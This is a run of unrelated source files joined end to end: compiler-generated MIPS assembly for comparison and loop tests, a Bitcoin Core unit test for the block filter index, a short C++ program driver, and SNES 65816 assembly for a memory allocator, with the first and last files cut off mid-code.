$s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else0 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf0 _else0: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf0: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf1 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf1: li $t0, 5 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t0, ($s0) move $a0, $t0 jal _intOverflowCheck move $t0, $v0 sw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 5 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else2 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf2 _else2: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf2: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf3 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf3: lw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 l.d $f4, _float1 s.d $f4, ($s2) addi $s2, $s2, 8 addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f4 cvt.d.w $f4, $f4 addi $s2, $s2, -8 l.d $f6, ($s2) c.eq.d $f4, $f6 bc1t _else4 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf4 _else4: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf4: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf5 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf5: l.d $f4, _float2 s.d $f4, ($s2) addi $s2, $s2, 8 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 addi $s2, $s2, -8 l.d $f4, ($s2) addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f6 cvt.d.w $f6, $f6 c.eq.d $f4, $f6 bc1t _else6 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf6 _else6: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf6: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf7 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf7: li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 l.d $f4, _float3 s.d $f4, ($s2) addi $s2, $s2, 8 addi $s2, $s2, -8 l.d $f4, ($s2) cvt.w.d $f4, $f4 mfc1.d $t0, $f4 move $a0, $t0 jal _intOverflowCheck move $t0, $v0 sw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else8 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf8 _else8: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf8: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf9 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf9: li $t0, 3 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 10 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) mult $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 3 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $zero, $t1, _divByZero div $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 10 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else10 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf10 _else10: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf10: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf11 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf11: li $t0, 10 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 3 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $zero, $t1, _divByZero div $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 3 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) mult $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 9 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else12 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf12 _else12: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf12: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf13 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf13: li $t0, 10 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t0, ($s0) subu $t0, $zero, $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 11 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $zero, $t1, _divByZero div $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 0 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else14 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf14 _else14: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf14: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf15 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf15: li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 9 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 0 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) mult $t0, $t1 mflo $t0 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) add $t0, $t0, $t1 sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) beq $t0, $t1, _else16 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf16 _else16: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf16: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf17 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf17: li $t0, 9 sw $t0, ($s0) addi $s0, $s0, 4 l.d $f4, _float4 s.d $f4, ($s2) addi $s2, $s2, 8 addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f4 cvt.d.w $f4, $f4 addi $s2, $s2, -8 l.d $f6, ($s2) mtc1 $zero, $f8 cvt.d.w $f8, $f8 c.eq.d $f6, $f8 bc1t _divByZero div.d $f4, $f4, $f6 mov.d $f20, $f4 mfc1.d $a0, $f20 jal _floatOverflowCheck s.d $f20, ($s2) addi $s2, $s2, 8 l.d $f4, _float5 s.d $f4, ($s2) addi $s2, $s2, 8 addi $s2, $s2, -8 l.d $f6, ($s2) addi $s2, $s2, -8 l.d $f4, ($s2) c.eq.d $f4, $f6 bc1t _else18 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf18 _else18: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf18: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf19 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf19: li $t0, 4 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t0, ($s0) mtc1.d $t0, $f4 cvt.d.w $f4, $f4 s.d $f4, f s.d $f4, ($s2) addi $s2, $s2, 8 la $s0, _intStack la $s2, _floatStack li $t0, 0 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t0, ($s0) move $a0, $t0 jal _intOverflowCheck move $t0, $v0 sw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 la $s0, _intStack la $s2, _floatStack _while0: lw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 l.d $f4, f s.d $f4, ($s2) addi $s2, $s2, 8 addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f4 cvt.d.w $f4, $f4 addi $s2, $s2, -8 l.d $f6, ($s2) c.le.d $f4, $f6 bc1f _else20 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf20 _else20: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf20: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterWhile0 l.d $f4, sum s.d $f4, ($s2) addi $s2, $s2, 8 lw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 addi $s2, $s2, -8 l.d $f4, ($s2) addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f6 cvt.d.w $f6, $f6 add.d $f4, $f4, $f6 mov.d $f20, $f4 mfc1.d $a0, $f20 jal _floatOverflowCheck s.d $f20, ($s2) addi $s2, $s2, 8 addi $s2, $s2, -8 l.d $f4, ($s2) s.d $f4, sum s.d $f4, ($s2) addi $s2, $s2, 8 la $s0, _intStack la $s2, _floatStack lw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t1, ($s0) addi $s0, $s0, -4 lw $t0, ($s0) add $t0, $t0, $t1 sw $t0, ($s0) addi $s0, $s0, 4 addi $s0, $s0, -4 lw $t0, ($s0) move $a0, $t0 jal _intOverflowCheck move $t0, $v0 sw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 la $s0, _intStack la $s2, _floatStack j _while0 _afterWhile0: l.d $f4, sum s.d $f4, ($s2) addi $s2, $s2, 8 li $t0, 10 sw $t0, ($s0) addi $s0, $s0, 4 addi $s2, $s2, -8 l.d $f4, ($s2) addi $s0, $s0, -4 lw $t0, ($s0) mtc1 $t0, $f6 cvt.d.w $f6, $f6 c.eq.d $f4, $f6 bc1t _else21 li $t3, 1 sw $t3, ($s4) addi $s4, $s4, 4 j _afterIf21 _else21: sw $zero, ($s4) addi $s4, $s4, 4 _afterIf21: addi $s4, $s4, -4 lw $t0, ($s4) beq $t0, 0, _afterIf22 li $t0, 1 sw $t0, ($s0) addi $s0, $s0, 4 li $v0 1 addi $s0, $s0, -4 lw $a0, ($s0) syscall li $v0, 4 la $a0, _newLine syscall _afterIf22: li $v0, 10 syscall
// Copyright (c) 2017-2021 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <blockfilter.h> #include <chainparams.h> #include <consensus/merkle.h> #include <consensus/validation.h> #include <index/blockfilterindex.h> #include <node/miner.h> #include <pow.h> #include <script/standard.h> #include <test/util/blockfilter.h> #include <test/util/setup_common.h> #include <util/time.h> #include <validation.h> #include <boost/test/unit_test.hpp> using node::BlockAssembler; using node::CBlockTemplate; BOOST_AUTO_TEST_SUITE(blockfilter_index_tests) struct BuildChainTestingSetup : public TestChain100Setup { CBlock CreateBlock(const CBlockIndex* prev, const std::vector<CMutableTransaction>& txns, const CScript& scriptPubKey); bool BuildChain(const CBlockIndex* pindex, const CScript& coinbase_script_pub_key, size_t length, std::vector<std::shared_ptr<CBlock>>& chain); }; static bool CheckFilterLookups(BlockFilterIndex& filter_index, const CBlockIndex* block_index, uint256& last_header) { BlockFilter expected_filter; if (!ComputeFilter(filter_index.GetFilterType(), block_index, expected_filter)) { BOOST_ERROR("ComputeFilter failed on block " << block_index->nHeight); return false; } BlockFilter filter; uint256 filter_header; std::vector<BlockFilter> filters; std::vector<uint256> filter_hashes; BOOST_CHECK(filter_index.LookupFilter(block_index, filter)); BOOST_CHECK(filter_index.LookupFilterHeader(block_index, filter_header)); BOOST_CHECK(filter_index.LookupFilterRange(block_index->nHeight, block_index, filters)); BOOST_CHECK(filter_index.LookupFilterHashRange(block_index->nHeight, block_index, filter_hashes)); BOOST_CHECK_EQUAL(filters.size(), 1U); BOOST_CHECK_EQUAL(filter_hashes.size(), 1U); BOOST_CHECK_EQUAL(filter.GetHash(), expected_filter.GetHash()); BOOST_CHECK_EQUAL(filter_header, expected_filter.ComputeHeader(last_header)); BOOST_CHECK_EQUAL(filters[0].GetHash(), expected_filter.GetHash()); BOOST_CHECK_EQUAL(filter_hashes[0], expected_filter.GetHash()); filters.clear(); filter_hashes.clear(); last_header = filter_header; return true; } CBlock BuildChainTestingSetup::CreateBlock(const CBlockIndex* prev, const std::vector<CMutableTransaction>& txns, const CScript& scriptPubKey) { const CChainParams& chainparams = Params(); std::unique_ptr<CBlockTemplate> pblocktemplate = BlockAssembler(m_node.chainman->ActiveChainstate(), *m_node.mempool, chainparams).CreateNewBlock(scriptPubKey); CBlock& block = pblocktemplate->block; block.hashPrevBlock = prev->GetBlockHash(); block.nTime = prev->nTime + 1; // Replace mempool-selected txns with just coinbase plus passed-in txns: block.vtx.resize(1); for (const CMutableTransaction& tx : txns) { block.vtx.push_back(MakeTransactionRef(tx)); } { CMutableTransaction tx_coinbase{*block.vtx.at(0)}; tx_coinbase.vin.at(0).scriptSig = CScript{} << prev->nHeight + 1; block.vtx.at(0) = MakeTransactionRef(std::move(tx_coinbase)); block.hashMerkleRoot = BlockMerkleRoot(block); } while (!CheckProofOfWork(block.GetHash(), block.nBits, chainparams.GetConsensus())) ++block.nNonce; return block; } bool BuildChainTestingSetup::BuildChain(const CBlockIndex* pindex, const CScript& coinbase_script_pub_key, size_t length, std::vector<std::shared_ptr<CBlock>>& chain) { std::vector<CMutableTransaction> no_txns; chain.resize(length); for (auto& block : chain) { block = std::make_shared<CBlock>(CreateBlock(pindex, no_txns, coinbase_script_pub_key)); CBlockHeader header = block->GetBlockHeader(); BlockValidationState state; if (!Assert(m_node.chainman)->ProcessNewBlockHeaders({header}, state, &pindex)) { return false; } } return true; } BOOST_FIXTURE_TEST_CASE(blockfilter_index_initial_sync, BuildChainTestingSetup) { BlockFilterIndex filter_index(BlockFilterType::BASIC, 1 << 20, true); uint256 last_header; // Filter should not be found in the index before it is started. { LOCK(cs_main); BlockFilter filter; uint256 filter_header; std::vector<BlockFilter> filters; std::vector<uint256> filter_hashes; for (const CBlockIndex* block_index = m_node.chainman->ActiveChain().Genesis(); block_index != nullptr; block_index = m_node.chainman->ActiveChain().Next(block_index)) { BOOST_CHECK(!filter_index.LookupFilter(block_index, filter)); BOOST_CHECK(!filter_index.LookupFilterHeader(block_index, filter_header)); BOOST_CHECK(!filter_index.LookupFilterRange(block_index->nHeight, block_index, filters)); BOOST_CHECK(!filter_index.LookupFilterHashRange(block_index->nHeight, block_index, filter_hashes)); } } // BlockUntilSyncedToCurrentChain should return false before index is started. BOOST_CHECK(!filter_index.BlockUntilSyncedToCurrentChain()); BOOST_REQUIRE(filter_index.Start(m_node.chainman->ActiveChainstate())); // Allow filter index to catch up with the block index. constexpr int64_t timeout_ms = 10 * 1000; int64_t time_start = GetTimeMillis(); while (!filter_index.BlockUntilSyncedToCurrentChain()) { BOOST_REQUIRE(time_start + timeout_ms > GetTimeMillis()); UninterruptibleSleep(std::chrono::milliseconds{100}); } // Check that filter index has all blocks that were in the chain before it started. { LOCK(cs_main); const CBlockIndex* block_index; for (block_index = m_node.chainman->ActiveChain().Genesis(); block_index != nullptr; block_index = m_node.chainman->ActiveChain().Next(block_index)) { CheckFilterLookups(filter_index, block_index, last_header); } } // Create two forks. const CBlockIndex* tip; { LOCK(cs_main); tip = m_node.chainman->ActiveChain().Tip(); } CKey coinbase_key_A, coinbase_key_B; coinbase_key_A.MakeNewKey(true); coinbase_key_B.MakeNewKey(true); CScript coinbase_script_pub_key_A = GetScriptForDestination(PKHash(coinbase_key_A.GetPubKey())); CScript coinbase_script_pub_key_B = GetScriptForDestination(PKHash(coinbase_key_B.GetPubKey())); std::vector<std::shared_ptr<CBlock>> chainA, chainB; BOOST_REQUIRE(BuildChain(tip, coinbase_script_pub_key_A, 10, chainA)); BOOST_REQUIRE(BuildChain(tip, coinbase_script_pub_key_B, 10, chainB)); // Check that new blocks on chain A get indexed. uint256 chainA_last_header = last_header; for (size_t i = 0; i < 2; i++) { const auto& block = chainA[i]; BOOST_REQUIRE(Assert(m_node.chainman)->ProcessNewBlock(block, true, nullptr)); } for (size_t i = 0; i < 2; i++) { const auto& block = chainA[i]; const CBlockIndex* block_index; { LOCK(cs_main); block_index = m_node.chainman->m_blockman.LookupBlockIndex(block->GetHash()); } BOOST_CHECK(filter_index.BlockUntilSyncedToCurrentChain()); CheckFilterLookups(filter_index, block_index, chainA_last_header); } // Reorg to chain B. uint256 chainB_last_header = last_header; for (size_t i = 0; i < 3; i++) { const auto& block = chainB[i]; BOOST_REQUIRE(Assert(m_node.chainman)->ProcessNewBlock(block, true, nullptr)); } for (size_t i = 0; i < 3; i++) { const auto& block = chainB[i]; const CBlockIndex* block_index; { LOCK(cs_main); block_index = m_node.chainman->m_blockman.LookupBlockIndex(block->GetHash()); } BOOST_CHECK(filter_index.BlockUntilSyncedToCurrentChain()); CheckFilterLookups(filter_index, block_index, chainB_last_header); } // Check that filters for stale blocks on A can be retrieved. chainA_last_header = last_header; for (size_t i = 0; i < 2; i++) { const auto& block = chainA[i]; const CBlockIndex* block_index; { LOCK(cs_main); block_index = m_node.chainman->m_blockman.LookupBlockIndex(block->GetHash()); } BOOST_CHECK(filter_index.BlockUntilSyncedToCurrentChain()); CheckFilterLookups(filter_index, block_index, chainA_last_header); } // Reorg back to chain A. for (size_t i = 2; i < 4; i++) { const auto& block = chainA[i]; BOOST_REQUIRE(Assert(m_node.chainman)->ProcessNewBlock(block, true, nullptr)); } // Check that chain A and B blocks can be retrieved. chainA_last_header = last_header; chainB_last_header = last_header; for (size_t i = 0; i < 3; i++) { const CBlockIndex* block_index; { LOCK(cs_main); block_index = m_node.chainman->m_blockman.LookupBlockIndex(chainA[i]->GetHash()); } BOOST_CHECK(filter_index.BlockUntilSyncedToCurrentChain()); CheckFilterLookups(filter_index, block_index, chainA_last_header); { LOCK(cs_main); block_index = m_node.chainman->m_blockman.LookupBlockIndex(chainB[i]->GetHash()); } BOOST_CHECK(filter_index.BlockUntilSyncedToCurrentChain()); CheckFilterLookups(filter_index, block_index, chainB_last_header); } // Test lookups for a range of filters/hashes. std::vector<BlockFilter> filters; std::vector<uint256> filter_hashes; { LOCK(cs_main); tip = m_node.chainman->ActiveChain().Tip(); } BOOST_CHECK(filter_index.LookupFilterRange(0, tip, filters)); BOOST_CHECK(filter_index.LookupFilterHashRange(0, tip, filter_hashes)); assert(tip->nHeight >= 0); BOOST_CHECK_EQUAL(filters.size(), tip->nHeight + 1U); BOOST_CHECK_EQUAL(filter_hashes.size(), tip->nHeight + 1U); filters.clear(); filter_hashes.clear(); filter_index.Interrupt(); filter_index.Stop(); } BOOST_FIXTURE_TEST_CASE(blockfilter_index_init_destroy, BasicTestingSetup) { BlockFilterIndex* filter_index; filter_index = GetBlockFilterIndex(BlockFilterType::BASIC); BOOST_CHECK(filter_index == nullptr); BOOST_CHECK(InitBlockFilterIndex(BlockFilterType::BASIC, 1 << 20, true, false)); filter_index = GetBlockFilterIndex(BlockFilterType::BASIC); BOOST_CHECK(filter_index != nullptr); BOOST_CHECK(filter_index->GetFilterType() == BlockFilterType::BASIC); // Initialize returns false if index already exists. BOOST_CHECK(!InitBlockFilterIndex(BlockFilterType::BASIC, 1 << 20, true, false)); int iter_count = 0; ForEachBlockFilterIndex([&iter_count](BlockFilterIndex& _index) { iter_count++; }); BOOST_CHECK_EQUAL(iter_count, 1); BOOST_CHECK(DestroyBlockFilterIndex(BlockFilterType::BASIC)); // Destroy returns false because index was already destroyed. BOOST_CHECK(!DestroyBlockFilterIndex(BlockFilterType::BASIC)); filter_index = GetBlockFilterIndex(BlockFilterType::BASIC); BOOST_CHECK(filter_index == nullptr); // Reinitialize index. BOOST_CHECK(InitBlockFilterIndex(BlockFilterType::BASIC, 1 << 20, true, false)); DestroyAllBlockFilterIndexes(); filter_index = GetBlockFilterIndex(BlockFilterType::BASIC); BOOST_CHECK(filter_index == nullptr); } BOOST_AUTO_TEST_SUITE_END()
#include <stdio.h> #include <string> #include "Engine.h" #include "prog.h" using namespace std; void run(string fname0) { bool p = true; string fname = fname0 + ".nl"; Prog P(fname); printf("CODE\n"); P.ppCode(); printf("RUNNING\n"); P.run(); } int main(int argc, char ** args) { if(argc != 2) { printf("Usage: %s fname\n", args[0]); } else { run(args[1]); } return 0; } /* public class Main { static void println(final Object o) { System.out.println(o); } static void pp(final Object o) { System.out.println(o); } public static void run(final String fname0) { final boolean p = true; final String fname = fname0 + ".nl"; Engine P; if (p) { P = new Prog(fname); pp("CODE"); ((Prog) P).ppCode(); } else { P = new Engine(fname); } pp("RUNNING"); final long t1 = System.nanoTime(); P.run(); final long t2 = System.nanoTime(); System.out.println("time=" + (t2 - t1) / 1000000000.0); } public static void srun(final String fname0) { final String fname = fname0 + ".nl"; final Prog P = new Prog(fname); pp("CODE"); P.ppCode(); pp("RUNNING"); final long t1 = System.nanoTime(); final Stream<Object> S = P.stream(); S.forEach(x -> Main.pp(P.showTerm(x))); final long t2 = System.nanoTime(); System.out.println("time=" + (t2 - t1) / 1000000000.0); } public static void main(final String[] args) { String fname=args[0]; run(fname); } } */
// 0 2 // Heapstack format: _FirstByte, _LastByte // --------------------------------------------------------------------------- .mx 0x00 .func Memory__TryAlloc // Entry: A = Bank number, X = Length // Return: A = Bank number (positive), X = Memory address, Y = HeapStack pointer // Return2: A = Negative, X = Length Memory__TryAlloc: phb .local _length .local _bank, _addr stx $.length // Which bank? Only allowing 0x7e-0x7f or cart banks. and #0x00ff sta $.bank eor #0x007e lsr a bne $+b_cart b_loop: // Can we allocate enough memory in this bank? lda $.bank ldx $.length call Memory__CanAlloc bcs $+b_1 // Can we allocate enough memory in the other bank? lda $.bank eor #0x0001 sta $.bank ldx $.length call Memory__CanAlloc bcs $+b_1 // WRAM banks are full bra $+b_oom b_1: // Change bank and set carry sep #0x21 lda $.bank pha rep #0x20 plb // Push new memory block to HeapStack, assume carry set from sep lda $_Memory_HeapStack sbc #4 tay sta $_Memory_HeapStack // Add memory to the top of the heap lda $_Memory_Top sta $.addr clc adc $.length sta $_Memory_Top // Write address range to HeapStack dec a sta $0x0002,y ldx $.addr txa sta $0x0000,y // Return lda $.bank plb return .unlocal _bank, _addr b_oom: // Out Of Memory, not Out Of Mana lda #0xffff ldx $.length plb return b_cart: // Cart range (ROM or SRAM) ldx $_Memory__CartBanks beq $-b_oom .local _bankCount, =listP lda $=Memory__CartBanks_CONSTBANK-1,x and #0x00ff beq $-b_oom sta $.bankCount ldy #_Memory__CartBanks_CONSTBANK/0x100 sty $.listP+1 stx $.listP b_loop: // Can we allocte enough memory in this bank? lda [$.listP] and #0x00ff ldx $.length call Memory__CanAllocCart bcs $+b_1 inc $.listP dec $.bankCount bne $-b_loop bra $-b_oom b_1: // Change bank and clear carry sep #0x30 lda [$.listP] tay pha rep #0x31 plb // Add memory to the top of the heap lda $_Memory_Top-0x8000 tax adc $.length sta $_Memory_Top-0x8000 // Return tya plb return // --------------------------------------------------------------------------- .mx 0x00 .func Memory__AllocInBank // Entry: A = Bank number, X = Length // Return: A = Bank number, X = Memory address, Y = HeapStack pointer // Note: Unlike Memory__Alloc, this one will throw an error if the bank is full Memory__AllocInBank: // Keep current bank number .local _bank, _length sta $.bank stx $.length call Memory__Alloc // Trap if bank is different cmp $.bank bne $+b_trap return b_trap: ldx $.length unlock trap Exception "Out Of Bank Memory{}{}{}Memory.AllocInBank attempted to allocate 0x{X:X} bytes of memory in bank 0x{a:X} but it was full.{}{}This error should not be happening under normal circumstances." // --------------------------------------------------------------------------- .mx 0x00 .func Memory__Alloc // Entry: A = Bank number, X = Length // Return: A = Bank number, X = Memory address, Y = HeapStack pointer Memory__Alloc: call Memory__TryAlloc ora #0 bmi $+b_trap return b_trap: unlock trap Exception "Out of Memory{}{}{}Memory.Alloc attempted to allocate 0x{X:X} bytes but RAM is full.{}{}Try following step 5 on the exe's main window. This will reduce memory usage and improve performance." // --------------------------------------------------------------------------- .mx 0x00 // Entry: int length // Return: int address Memory__AllocForExe: .vstack _VSTACK_START pea $0x0000 plp plb lda #_VSTACK_PAGE tcd lda #0x00ff ldx $0x0000 call Memory__Alloc stx $0x0000 sta $0x0002 stp // --------------------------------------------------------------------------- .mx 0x00 .func Memory__Trim =StackPointer, _Length Memory__Trim: phb // Change bank and set carry for later sep #0x21 lda $.StackPointer+2 pha rep #0x20 plb // Get current length ldy #0x0002 lda ($.StackPointer),y sbc ($.StackPointer) inc a // Are we allowed to trim this memory range? cmp $.Length bcc $+b_trap // Is this memory range on top of the heap? lda ($.StackPointer),y inc a cmp $_Memory_Top bne $+Memory__Trim_SkipTrimTop // Trim top of the heap as well lda ($.StackPointer) clc adc $.Length sta $_Memory_Top // Is the new size 0? lda $.Length bne $+Memory__Trim_SkipDelete // Is this memory range at the top of the stack? lda $_Memory_HeapStack cmp $.StackPointer bne $+Memory__Trim_SkipDelete // Remove from stack and return clc adc #4 sta $_Memory_HeapStack plb return Memory__Trim_SkipDelete: Memory__Trim_SkipTrimTop: // Write new size lda ($.StackPointer) clc adc $.Length dec a sta ($.StackPointer),y plb return b_trap: ldx $.Length unlock trap Exception "Memory Trim Failed{}{}{}Memory.Trim attempted to allocate more bytes than its original size.{}0x{X:X} -> 0x{A:X}" // --------------------------------------------------------------------------- .mx 0x00 .func Memory__CanAlloc // Entry: A = Bank number, X = Length // Return: Carry = true when memory can be allocated Memory__CanAlloc: phb // Change bank and set carry for later sep #0x21 pha rep #0x20 plb .local _temp stx $.temp // Get total space between Top and HeapStack, -0x10 for stack allocation lda $_Memory_HeapStack sbc $_Memory_Top sbc #0x0010 // Do we have enough space? Return carry==true if so cmp $.temp plb return // --------------------------------------------------------------------------- .mx 0x00 .func Memory__CanAllocCart // Entry: A = Bank number, X = Length // Return: Carry = true when memory can be allocated Memory__CanAllocCart: phb // Change bank and set carry for later sep #0x21 pha rep #0x20 plb .local _temp stx $.temp // Get total space between Top and HeapStack, -0x10 for stack allocation lda $_Memory_HeapStack-0x8000 sbc $_Memory_Top-0x8000 sbc #0x0010 // Do we have enough space? Return carry==true if so cmp $.temp plb return // --------------------------------------------------------------------------- .mx 0x00 .func Memory__Zero // Entry (same as Memory__Alloc's return): A = Bank number, X = Memory address, Y = HeapStack pointer Memory__Zero: phb // Change bank and set carry for later sep #0x21 pha rep #0x20 plb // Do we have the correct address? txa cmp $0x0000,y bne $+b_trap // Get array length .local _length lda $0x0002,y sbc $0x0000,y inc a sta $.length // Do we have less than 2 bytes? lsr a bne $+b_over1byte // Do we even have a byte? bcc $+b_return // Clear single byte and return lda #0xff00 and $0x0000,x sta $0x0000,x bra $+b_return b_over1byte: // Do we have an odd number of bytes? bcc $+b_notOdd // Clear first byte stz $0x0000,x inx b_notOdd: // Store number of iterations into Y and start looping tay b_loop: // Clear 2 bytes stz $0x0000,x // Next inx inx dey bne $-b_loop b_return: plb return b_trap: unlock trap Exception "Zero Memory Failed{}{}{}Memory.Zero attempted to clear the wrong array." // --------------------------------------------------------------------------- .mx 0x00 .func Memory__FormatSram Memory__FormatSram: php rep #0x30 .mx 0x00 // Is SRAM present at bank b1? lda $0xb07ffe // First test for mirror tay lda $0xb17ffe tax eor #0x55aa sta $0xb17ffe // Change last bytes of bank b1 cmp $0xb17ffe beq $+b_1 unlock trap Exception "SRAM is missing{}{}{}SRAM on your SNES emulator or flash cart device was not found. Make sure your SNES emulator or device is up to date.{}{}You can adjust the amount of SRAM on the exe's main window. Some SRAM sizes are not supported by some SNES emulators or devices." b_1: // Test for minimum SRAM requirement for feedback: 16kb tya eor $0xb07ffe // Second test for mirror smx 